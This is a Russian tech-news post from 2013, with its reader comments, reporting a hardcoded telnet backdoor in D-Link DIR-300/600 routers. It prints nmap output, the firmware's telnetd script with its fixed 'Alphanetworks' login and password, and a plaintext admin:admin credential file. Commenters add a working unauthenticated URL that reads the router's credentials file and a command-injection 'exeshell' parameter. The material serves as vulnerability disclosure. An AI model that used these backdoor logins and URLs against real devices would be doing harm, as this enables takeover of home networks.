0,0
рейтинг
14 июня 2013 в 12:11

Разработка → Backdoor в роутерах D-Link

В роутерах D-Link (DIR-300revA, DIR-300revB, DIR-600revB) обнаружен backdoor.

Немецкий исследователь просканировал некоторые устройства D-Link nmap-ом и обнаружил открытым порт 23\tcp (telnet).


Результаты сканирования nmap
root@bt:~# nmap -sSV -p 23 192.168.178.133,144,222
Starting Nmap 6.01 ( nmap.org ) at 2013-04-30 13:42 CEST
Nmap scan report for 192.168.178.133
Host is up (0.0067s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd
MAC Address: 1C:BD:B9:A7:7F:74 (D-link International PTE Limited)
Service Info: Device: WAP

Nmap scan report for 192.168.178.144
Host is up (0.0068s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd
MAC Address: 00:26:5A:38:7D:77 (D-Link)
Service Info: Device: WAP

Nmap scan report for 192.168.178.222
Host is up (0.0031s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd
MAC Address: 34:08:04:DB:6D:FE (D-Link)
Service Info: Device: WAP


Порсле этого исследователь заглянул в конфиг-файл и обнаружил
код, отвечающий за функцию backdoor
./rootfs/etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=`cat /etc/config/image_sign`
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = «true» ]; then
echo «Start telnetd ...» > /dev/console
if [ -f "/usr/sbin/login" ]; then
lf=`rgdb -i -g /runtime/layout/lanif`
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
else
telnetd &
fi
fi
root@bt:~/firmware/DIR300-extracted# cat rootfs/etc/config/image_sign
wrgg19_c_dlwbr_dir300


Т.е. пароль зависит от того, какая в устройстве версия прошивки. При чём пароль этот даёт root-привелегии к устройству (см. картинку ниже):



Получив рутовый пароль, вы также можете
обнаружить в устройстве логин\пароль к веб-интерфейсу устройства в открытом виде

# cat var/etc/httpasswd
admin:admin

или так:


Надо сказать, этот исследователь уже не первый раз ковыряет оборудование D-Link и сообщает производителю о багах. Однако D-Link как-то не всегда торопится закрывать их. Или вообще заявляет, что что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.

Источник
Агиевич Игорь aka shanker @shanker
карма
13,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (99)

  • +14
    Классика жанра- «нашел с помощью Nmap»
  • +3
    У меня DIR-300. Подскажите, пожалуйста, что мне надо сделать, что бы все было хорошо?
    • +3
      Вероятно, DD-WRT. Только там нужно внимательно ставить соответствующую ревизию (A или B), иначе можно все поломать.
      • +2
        Для B* на RT3050(F) лучше Wive-RTNL.
        • 0
          Возможно, у меня, к сожалению, доступен был только A.
        • 0
          Для В новее, чем 5, это все (замена на Ddwrt и Wive), может ничего не выйти.
          • 0
            Поэтому я и написал — «на RT3050(F)».
      • 0
        Ставил DD-WRT на A, были серьезные проблемы с производительностью, пришлось вернуться на сток.
        • 0
          В смысле с пиком пропускной способности? Не пробовали ли OpenWRT?
          • 0
            Начинал жестко тупить при большом количестве соединений. С OpenWRT экспериментировать не стал, необходимость отпала.
    • +7
      Конкретно с этой проблемой — как минимум поменять исходник файла rootfs/etc/scripts/misc/telnetd.sh и содержимое файла /var/etc/httpasswd

      Хотя если Вам действительно важна безопасность Вашей локалки, то лучше не экономить и купить, например, MikroTik RB751U-2HnD. Стоит не намного дороже
    • +2
      Не включать телнет, для работы он не нужен.
      Написано же в тексте: «некоторые устройства».
      По умолчанию, кстати, telnet не включен.
      • 0
        Ну вообще-то вы не правы. Как владелец DIR-300 уверяю вас, telnet включен по умолчанию.
  • +19
    Открыли Америку. Вот вам ещё один бекдор (тоже на DIR-300 видел):
    192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
    Логин и пароль от админки плейнтекстом без пароля.
    • +7
      Проверил. Работает на моем dir-300.
    • +3
      Это только от админки. Я же пишу в том числе про рутовый доступ к устройству. А это уже серьёзнее: таким образом устройство можно использовать как прокси. А это уже проблема другого масштаба. Ибо через него могут взломать какой-нибудь компьютер и тогда владелец устройства будет долго доказывать, что «хак не мой, я просто разместил объяву D-Link в своей квартире». А пока он это будет доказывать, могут забрать на экспертизу как его роутер, так и все его компы, подключённые к нему. И неясно в каком виде вернут обратно и когда.
      • +8
        Заходите в админку, ключаете telnet, логинитесь по telnet, получаете рутовый доступ. Нет?
        • 0
          Да, мне тоже казалось, что где-то в админке DIR-300 была опция его включения.

          Есть конечно «экстрим вариант», зайдя в админку перешить роутер на нужную прошивку и настроить так, чтобы хозяин ничего не заметил. В любом случае доступ к админке даёт не меньше, ИМХО
          • 0
            И да, после авторизации в админке вот вам ещё команда:
            192.168.0.1/sys_cfg_valid.xgi?&exeshell=submit%20REBOOT
            Ребутает роутер.

            Возможно можно больше команд туда подставить.
            • 0
              После авторизации в админке и так можно ребутнуть роутер, т.к. это функция админки.
              • 0
                Не нашел команду, когда искал, зато нашел эту ссылку :)
      • 0
        О да, экспертиза проводится отлично. У меня изымали компьютеры, через пару месяцев вернули, пароль на Windows 8 сбросить не смогли, MacBook Pro тоже не сломали, только вот ноутбуку от Asus с семеркой на борту и учеткой без пароля досталось :(
        • +1
          А зачем сбрасывать пароль? Просто так посмотреть файловую систему совесть не позволяет? Вряд ли у вас там truecrypt на всех разделах.
          • 0
            Не, я не просто так написал про пароли, следователь сказал что «не смогли ничего сделать». На маке FileVault был только. Я к тому что ленивые там, и проверяют по-моему только на бумаге, как мне показалось.
            • +4
              Это еще ладно.
              У меня так ключик хасповский для 1с на пять лицензий потерялся.
              Клоуны из СБУ обозвали его «флешкой», потом долго его мурыжили, их эксперт сказал что это «поломанная флешка»…
              Ну а там в масштабах разборок «поломанная флешка» и затерялась…
    • 0
      У меня тоже работает :-/
    • +1
      Dlink-320 — тоже работает :(
      • 0
        и как фиксить?
        • 0
          Ну, сразу стоит учесть, что узнать пароль может только тот, кто у вас в сети. Т.е. дома (а эта модель в основном «домашняя») особой проблемы нет, ведь наверняка ваша wi-fi сеть под паролем, а кабель в роутер сосед не вставит, не так ли? :)
          Ну а как фиксить — стоит спросить поддержку D-link, наверное. Хотя можете применить суровую контр-меру — перепрошивка на DDWRT
          • 0
            Зато сосед может за несколько часов reaver'om получить пароль от wi-fi, если, конечно WPS на роутере включен (а включен он по умолчанию). Потом указанным бэкдором получить root'овый пароль.

            Так что самая логичная мера — или альтернативная прошивка, или покупка Mikrotika.
        • 0
          > и как фиксить?
          Имхо, это не последний бэкдор, обнаруженный в вендорских прошивках, поэтому в любом случае шиться на альтернативные (OpenWRT, DD-WRT, etc.) А вот на какую шиться и как — зависит от аппаратной ревизии вашего DIR-320.
    • 0
      Не работает на моём DIR-300NRU rev.B6
    • 0
      Осталось ввести dir-300 в строку поиска shodan, и…
  • –5
    Интересно осталось много людей кто использует dir-300 со стандартной прошивкой?
    • +9
      Очень много. Если провайдер раздает такие клиентам, то они как правило преднастроены. Клиент втыкает провода и наслаждается услугами.
      • –12
        Странно. Казалось, что все ставят себе альтернативные прошивки. А насчёт провайдеров забыл
        • +5
          Ага… у меня маман тоже была недовольна стандартной прошивкой… ей подавай впн'ы, файлохранилище, сайт на роутере! А еще если к девайсу нет доступа из консоли, она его совсем не признает. Поэтому она его перепрошила.

          Вы так это представили? или упустили тот факт, что помимо айтишников, роутерами пользуются обычные люди?
          • 0
            Вот маман как раз упустил, ну теперь все камни в мой огород.
      • 0
        Умные провайдеры ставят сторонние прошивки и настраивают уже их ;)
    • 0
      Странный вопрос. В вашем круге общения нет не-айтишников? Вообще?

      Меня вот такие нередко просят о помощи (починить компьютер, настроить интернет, помочь грамотно пнуть провайра и т.п.). Так вот, иногда приходится осматриваться в их сетевой железке. Не могу припомнить даже случая, чтобы я пришел, залогинился в админку, и увидел, что в железку залита не самая первая версия прошивки. А мы с вами знаем, как замечательно работает тот же D-Link на первых релизах софта. :) Но ничего, люди терпят. А что им еще остается?

      • +3
        Вот таким признаться, что ты в компьютерах разбираешься опасно, садятся на «непрокаченную шею»
        • 0
          Иногда ты помогаешь людям, а иногда люди помогают тебе.
          • +2
            Ты помогаешь людям, а люди потом «ой извини сильно занят»
            • 0
              Бывает и такое. Но мой опыт показывает, что в среднем подобная помощь приносит ооочень хорошие дивиденды. За последние годы у меня удачно решилось несколько жизненно важных (без преувеличения) вопросов. Только благодаря тому, что в свое время я тоже кому-то не отказал в решении их проблем.
              • 0
                Я искренне за Вас рад. Но не всегда так((
                • 0
                  Возможно, вам стоит лучше стараться. :)
                  • +1
                    Я по натуре перфекционист, и если люди просят посоветовать или что сделать, делаю как себе самым лучшим образом. Но бывает обидно когда они говорят да тебе это как два бита переслать, а ты при этом до этого много шишек и бубунов набил, чтобы решить это проблему у них на глазах за 5 минут. Ну как то так.
                    • 0
                      Если таких случаев 60-70% — это нормально. Какой-то возврат будет от оставшейся части людей, которым вы оказали помощь. Среди этих людей может быть сантехник с золотыми руками. Или хороший доктор. Или начальник почтового отделения, которое обслуживает ваш район. Да масса вариантов, масса. :)

                      Для них проблемы с компьютерами — непреодолимые жизненные сложности, а я их решаю очень быстро и по первому обращению. С другой стороны, я знаю, что если у меня в 5 часов утра заболит зуб, или срочно понадобится помощь полиции, или еще что — в телефонной книжке есть люди, для которых решение моих проблем не составит особого труда.
                      • 0
                        Вы хотите сказать, что какой-то ми… полицейский чин будет в пять утра срочно решать ваши проблемы лишь потому, что вы когда-то помогли ему с компьютером?
                        Если так, то моя вера в полицию резко усилилась. Хотя бы в том плане, что хоть кто-то там способен быть благодарен другим людям, а не только коллегам по круговой поруке, и отрывать во имя этой благодарности зад от стула.
                        • 0
                          Вы не внимательны — про пять часов утра — это было про стоматолога. :)

                          А насчет полиции — возможно, вы зря сомневаетесь. Наверное в разных городах по разному, но у меня впечатления об этих ребятах весьма и весьма положительные. Приходилось обращаться за помощью (и да, это было до того, как у меня там появились друзья/знакомые). Люди реально делают свою работу. Может не с песней и не за идею, но делают, и достаточно хорошо. :)
                          • 0
                            Я просто думал, что пять утра относились как к стоматологу, так и к полицейской помощи =).

                            Возможно, в разных городах и правда по-разному. Дважды мне приходилось с этими людьми сталкиваться, первый раз — в роли потенциального подозреваемого (работал админом в комп. клубе, мой сменщик потом заявил, что в мою смену из одного из компов сняли жёсткий диск), второй — в роли соседа бывшего начальника ОВД. Так вот, в первом случае меня увезли в отделение и группой из человек четырёх выбивали признание, хотя ничего кроме психологического давления не было, да и то было без какого-то криминала. А по результатам общения с бывшим начальником ОВД сложилось впечатление, что они там только и заняты тем что воруют. По крайней мере, он сам не таясь рассказывал, что и на квартиру в моём доме, и на машину, и на гараж он «напиздил» на работе.
                            Но хорошо, если где-то ещё остались люди, которые, работая на этой не самой приятной работе, стремятся делать её на совесть.
                    • 0
                      Принцип Парето: 20% усилий приносят 80% результата. ;)
    • 0
      Да dir-300 это же классика. Конечно много.
    • +1
      У меня DIR-320, это тот же DIR-300, только с принт-сервером. Ставил DD-WRT, всем хороша, но как я ни бился, скорость была ровно в 2 раза ниже, чем на стоковой прошивке.

      В результате плюнул, поставил сток, и никаких проблем. Так что это может быть вполне осознанным выбором.
      • 0
        У меня 320 работал стабильней под DD-WRT. Но вот принт-сервера в DD-WRT той нет.
        • 0
          Когда копался с DD-WRT, где-то находил мануал, как можно под ней завести принт-сервер. Там достаточно неочевидно, но можно.
          • 0
            Я тоже. Но это были танцы с бубном и совсем не Plug-n-play.
            • 0
              Может с OpenWRT вам будет проще?
              • 0
                Пробовал, ЕМНИП. DD-WRT была удобнее и быстрее. Да и сейчас у меня уже DIR-825, который на последней заводской работает нормально.
                Правда, очень печалит местный SharePort, который теперь вместо старого проброса портов over ip. Под линуксами его банально нет.
                • 0
                  > Правда, очень печалит местный SharePort, который теперь вместо старого проброса портов over ip. Под линуксами его банально нет.
                  Не скажу за стейбл, но в транке OpenWRT сейчас есть kmod-usbip, kmod-usbip-server (и наверное ещё понадобится kmod-usb-ohci). Как пользоваться usbip на клиенте вы вероятнее всего уже знаете.
      • 0
        dir-300 не тоже самое что и dir-320. 320 не умеет N, у него слабее начинка, единственным плюсом является наличие usb. Правда я не в курсе как с новыми ревизиями роутеров обстоят дела.
  • 0
    А чем он расковырял прошивку?
    • +1
      Так сорцы есть официальные.
  • +2
    Спросил сейчас коллегу, который два года в D-Link'е работал. Он говорит, что это инженерный интерфейс и доступ автоматом закрывается через 15 минут.
    • +1
      Если есть рутовый доступ, то это ограничение можно отключить или поднять ssh-демона, который уже не будет подчиняться этому ограничению и т.д. и т.п. В общем, на каждую хитрую попу найдётся попа похитрее
      • +1
        Это-то понятное дело, руки из ж… растут у кого-то там, вот и сделали такой инженерный интерфейс (ИМХО).
        Я просто написал то, что узнал от знающего человека. К тому же этого нету в посте.
        • 0
          Спасибо. Но т.к. эта информация не проверенная, то пока добавлять в пост не стану, не серчайте
          • 0
            Я на это и не претендую. Всего-лишь поделился.
    • +5
      Вот как теперь это называется.
  • –10
    Как не предсказуем Хабр. Статья идёт в плюс, а всё же нашёлся негодник, который плюнул в карму
    • 0
      Сам D-Link, лично?
  • –2
    Старо как мир.
  • +1
    На самом деле с Telnet'ом у DLink'ов у меня всегда был вопрос.
    Берём даже самое простое: DSL-2500U/BRU/C1, проша RU_1.25.

    По настройкам — Telnet отключен:
    image

    По факту: вовсе нет:
    Starting Nmap 6.25 ( nmap.org ) at 2013-06-14 12:18 Финляндия (лето)
    NSE: Loaded 106 scripts for scanning.
    NSE: Script Pre-scanning.
    Initiating ARP Ping Scan at 12:18
    Scanning 192.168.61.1 [1 port]
    Completed ARP Ping Scan at 12:18, 0.41s elapsed (1 total hosts)
    Initiating Parallel DNS resolution of 1 host. at 12:18
    Completed Parallel DNS resolution of 1 host. at 12:18, 4.65s elapsed
    Initiating SYN Stealth Scan at 12:18
    Scanning 192.168.61.1 [1000 ports]
    Discovered open port 23/tcp on 192.168.61.1
    Discovered open port 80/tcp on 192.168.61.1
    Completed SYN Stealth Scan at 12:18, 1.90s elapsed (1000 total ports)
    Initiating Service scan at 12:18
    Scanning 2 services on 192.168.61.1
    Completed Service scan at 12:18, 4.76s elapsed (2 services on 1 host)
    Initiating OS detection (try #1) against 192.168.61.1
    NSE: Script scanning 192.168.61.1.
    Initiating NSE at 12:18
    Completed NSE at 12:18, 18.90s elapsed
    Nmap scan report for 192.168.61.1
    Host is up (0.021s latency).
    Not shown: 998 closed ports
    PORT STATE SERVICE VERSION
    23/tcp open tcpwrapped
    80/tcp open http micro_httpd

    При попытке прямого захода — соединение разрывается, но зачем тогда держать открытым порт?
    • +1
      Скорее всего, включение-отключение сервисов делается средствами iptables.
      • 0
        Тогда почему не открыт таким же образом тот же tftp?
    • 0
      Скорее всего порт открытым держит враппер.
  • –16
    Тут кто-нибудь покупает роутеры до ~5 тыс. руб и пользуется стандартной прошивкой?
    • 0
      У меня дома стоит MikroTik RB751U-2HnD (средняя цена 2200 на яндекс маркете).

      А на работе в отделе чуть более мощный его старший брат: MikroTik RB951G-2HnD (средняя цена 2750 на яндекс маркете).

      Всё никак не нарадуюсь. Наконец эпоха анархии в своих локалках дома и на работе закончена. Всегда знаю что происходит в сети. Особенно напрягала ситуация с кучей виртуалок. Всем IP статично не пропишешь, а предыдущий роутер каждый раз после перезагрузки роутера выдавал по DHCP разные адреса. Что портило крови порядочно. И чем больше устройств в сети — тем хуже ситуация складывалась.

      Да, настройка не столь тривиальная, зато очень гибкая. Да и обновления выходят довольно часто.
      • 0
        Ну это скорее исключение из правил.
        • НЛО прилетело и опубликовало эту надпись здесь
      • 0
        MikroTik не нужно перезагружать раз в неделю-месяц? Ищу роутер для удаленного филиала, чтобы поставил и забыл. Пока смотрю в сторону TP-LINK TL-ER6020
        • +1
          Ставьте, не бойтесь.
          Моя success story — обслуживание поселковой сети (по вечерам 60-70 клиентов онлайн, канал 35 мегабит) микротиковской коробкой за $100.

          Единственный пойманный глюк — зависания при разгоне процессора.
          Для rb/750g решилось заменой штатного БП на более слабый, для 450g от разгона пришлось отказаться.
        • 0
          250 человек, два провайдера по 30 мбит каждый, используются оба почти на 100% в рабочее время, настроено перекидывание со сдохшего на рабочий канал — работает без перезагрузки месяцами.
        • 0
          Как раз 2 месяца назад ставил TP-LINK TL-ER6020 в удаленный офис.
          Перезагрузка потребовалась только на прошлой неделе с симптомом — «Ой, что то у нас интернет медленно работает на половине компьютеров».
      • 0
        Обошёлся тридцативаттной коробкой от торговой станции Glaive — воткнул в неё вторую сетевую карточку на гигабит, навернул m0n0wall, и забот не знаю. Внутри какой-то атом, 256 памяти, полностью пассивное охлаждение by design (хотя я таки-поставил над камнем 120 мм-кулер, подключенный через фанмейт чисто на всякий случай). Тишина, смешной расход энергии, абсолютная неубиваемость, дьявольская производительность.
    • 0
      У меня AirPort Express за $100, стандартная прошивка даст фору любой нестандартной, да и сам роутер чуть ли не единственный со встроенным БП.
    • +3
      Как работник очень мелкого местечкового провайдера скажу, что покупают на ура и некоторые даже жалуются «Как? Почему целых 980 рублей? Вы издеваетесь? У нас денег совсем нету — нам еще в Турцию ехать надо… эээ… семерых по лавкам кормить нужно!»
  • 0
    market.yandex.ru/model.xml?modelid=7009252&hid=723087&show-uid=169686513712097461
    2.4 / 5 ГГц с одновременной работой, гигабитный ethernet — мне и не надо лучше. Средняя цена 3673.

    UPD: Простите, промазал. Это ответ вот этому комменту.
  • +5
    Это только во внутренней сети, или «снаружи» порт тоже доступен?
  • –2
    Родные прошивки на длинках нужно сразу же менять на OpenWRT. Впрочем, не только на длинках.
    • 0
      Да тормозит же DD-WRT/OpenWRT на длинках! По крайней мере на трёхсотке. А если провадер по PPTP, то вообще караул. Я сам перепрошил свой и потом не знал, куда его сдать. Максимум, что удавалось выжать — 1,5 Мб/с. Это при подключении через прямой кабель в 2,7 Мб/с!
      • 0
        После перехода моего провайдера PPTP на L2TP мой dir320 под dd-wrt начал завешиваться при малейших нагрузках. После чего поставил прошивку Tomato и больше не вспоминаю про роутер.
        • 0
          С L2TP в роутерах вообще все печально. В том же accel-ppp серверном есть даже несколько workaround-ов для глючных популярных роутеров.
      • 0
        Тормозит, потому что в D-Link для PPTP accel-ppp, а в DD-WRT/OpenWRT — PopTop.
        accel-ppp уже несколько раз толкали в OpenWRT, но как-то до сих пор не сложилось.
    • 0
      Я все свои дилинки перешил на порты зукселевских прошивок.
      Таким образом в 320-м дире второй ревизии появился принт-сервер и поддержка горы модемов, к примеру.
      • 0
        Подробней плиз про 320-й и зуксель прошики. Спасибо.
  • 0
    Вообще могу рассказать про другой D-Link: dir-300 C1. Купил его из-за вайфая, намучился с прошивкой (там хитро надо перепрошить сначала на 1.0.7, только потом на 1.0.12). Потом начал отрубаться IPTV. Прошил билайновскую версию, IPTV заработало, но теперь глюки, иногда по 5 раз в день интернет на компе отваливается. Приходится перезагружать роутер, а потом и компьютер. Не работа, а мучение.

    Не доволен, если честно. Не гонитесь за дешевизной.
    • +1
      C1 это RTL8196C. Его, похоже, проще выкинуть, чем привести в чувство (ну или возвращаться на стоковую и писать в саппорт D-Link до победного).
  • 0
    А это все какой версии прошивки касается? Посмотрел на довольно древней 1.4.3 (dir-300b5) (это новый вариант прошивки — «серый», до этого у них были синие, а еще до этого — оранжевые), не работает, ни тебе пароля в открытом виде, ни телнета, ни перезагрузить через веб, в общем ничего из перечисленного.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.